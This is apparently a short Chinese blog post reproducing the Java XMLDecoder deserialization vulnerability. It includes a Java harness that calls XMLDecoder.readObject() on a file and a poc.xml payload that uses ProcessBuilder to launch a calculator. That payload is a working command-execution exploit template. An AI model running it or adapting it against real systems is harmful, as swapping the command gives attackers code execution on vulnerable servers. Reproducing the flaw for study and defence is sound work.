JAVA漏洞重现：XMLDecoder反序列化漏洞

Posted 2021-04-18 下辈子想做头猪

漏洞范围

 XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险

漏洞重现代码

package com.zhutougg.test;
import java.beans.XMLDecoder;import java.io.BufferedInputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;
public class Log4JTest { public static void main(String[] args) { try { String path = "d:/test/poc.xml"; File file = new File(path); FileInputStream fis = new FileInputStream(file); BufferedInputStream bis = new BufferedInputStream(fis); XMLDecoder xd = new XMLDecoder(bis); xd.readObject(); xd.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } }}

poc.xml

<?xml version="1.0" encoding="UTF-8"?> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object>

执行之后，即会弹出计算器